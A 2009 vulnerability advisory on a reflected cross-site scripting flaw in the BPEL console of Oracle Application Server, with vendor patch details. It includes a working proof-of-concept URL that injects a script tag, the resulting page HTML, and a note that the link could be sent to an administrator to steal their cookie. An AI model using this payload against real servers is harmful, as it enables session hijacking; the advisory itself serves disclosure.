Oracle Application Server Cross Site Scripting

`  
Digital Security Research Group [DSecRG] Advisory #DSECRG-09-001  
  
  
  
Application: Oracle Application Server (SOA)  
Versions Affected: Oracle Application Server (SOA) version 10.1.3.1.0   
Vendor URL: http://www.oracle.com  
Bugs: XSS  
Exploits: YES  
Reported: 10.01.2008  
Vendor response: 11.01.2008  
Date of Public Advisory: 13.01.2009  
CVE: CVE-2008-4014  
Description: XSS IN BPELCONSOLE/DEFAULT/ACTIVITIES.JSP   
Author: Alexandr Polyakov  
Digital Security Reasearch Group [DSecRG] (research [at] dsec [dot] ru)  
  
  
Description  
***********  
  
Linked XSS vulnerability found in BPEL module of Oracle Application Server (Oracle SOA Suite).   
  
  
  
Details  
*******  
  
  
Linked XSS vulnerability found in BPEL module. In page BPELConsole/default/activities.jsp attacker can inject XSS by appending it to URL  
  
  
  
  
Example  
*******  
  
  
http://[localhost]:8888/BPELConsole/default/activities.jsp?'><script>alert('DSEC_XSS')</script>=DSecRG  
  
  
  
Attacker must send injected link to administrator and get adminiatrators cookie.  
  
  
Code with injected XSS:  
  
----------------------------------------------------------------  
  
</th>  
<th id="activityLabel" class="ListHeader" align="left" nowrap>  
<a href='activities.jsp?'><script>alert('DSecRG_XSS')</script>=DSecRG&orderBy=label' class=HeaderLink>  
Activity Label  
</a>  
</th>  
  
---------------------------------------------------------------------------  
  
  
Fix Information  
***************  
  
Information was published in CPU January 2009.  
All customers can download CPU petches following instructions from:   
  
http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html   
  
  
  
Credits  
*******  
Oracle give a credits for Alexander Polyakov from Digital Security Company in CPU January 2009.  
  
http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html   
  
  
  
  
About  
*****  
  
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.  
  
  
Contact: research [at] dsec [dot] ru  
http://www.dsecrg.ru   
http://www.dsec.ru  
  
  
  
  
  
  
`